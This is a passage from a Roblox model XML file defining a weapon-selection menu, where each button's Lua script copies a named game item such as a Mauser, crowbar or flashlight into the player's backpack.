script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.M1911:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3789">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Mauser</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>675</XO>
								<YS>0</YS>
								<YO>250</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3790">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122080032</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3791">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Mauser:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3792">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Model29</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>800</XO>
								<YS>0</YS>
								<YO>250</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3793">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122080041</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3794">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Model29:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3795">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">SIG</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>925</XO>
								<YS>0</YS>
								<YO>250</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3796">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122080118</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3797">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.SIG:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3798">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Crowbar</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>425</XO>
								<YS>0</YS>
								<YO>375</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3799">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126856756</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3800">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Crowbar:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3801">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Mace</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>800</XO>
								<YS>0</YS>
								<YO>375</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3802">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126856784</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3803">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Mace:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3804">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Sword</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>925</XO>
								<YS>0</YS>
								<YO>375</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3805">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122088356</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3806">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Sword:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3807">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Knife</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>300</XO>
								<YS>0</YS>
								<YO>500</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3808">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122088343</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3809">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Knife:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3810">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Machete</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>425</XO>
								<YS>0</YS>
								<YO>500</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3811">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126856793</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3812">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Machete:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3813">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Pitchfork</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>550</XO>
								<YS>0</YS>
								<YO>500</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3814">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126856803</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3815">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Pitchfork:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3816">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Bathysphere</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>675</XO>
								<YS>0</YS>
								<YO>500</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3817">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126896531</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3818">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Bathysphere:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3819">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Flashlight</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>800</XO>
								<YS>0</YS>
								<YO>500</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3820">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126896554</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3821">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Flashlight:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3822">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Pan</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>925</XO>
								<YS>0</YS>
								<YO>500</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
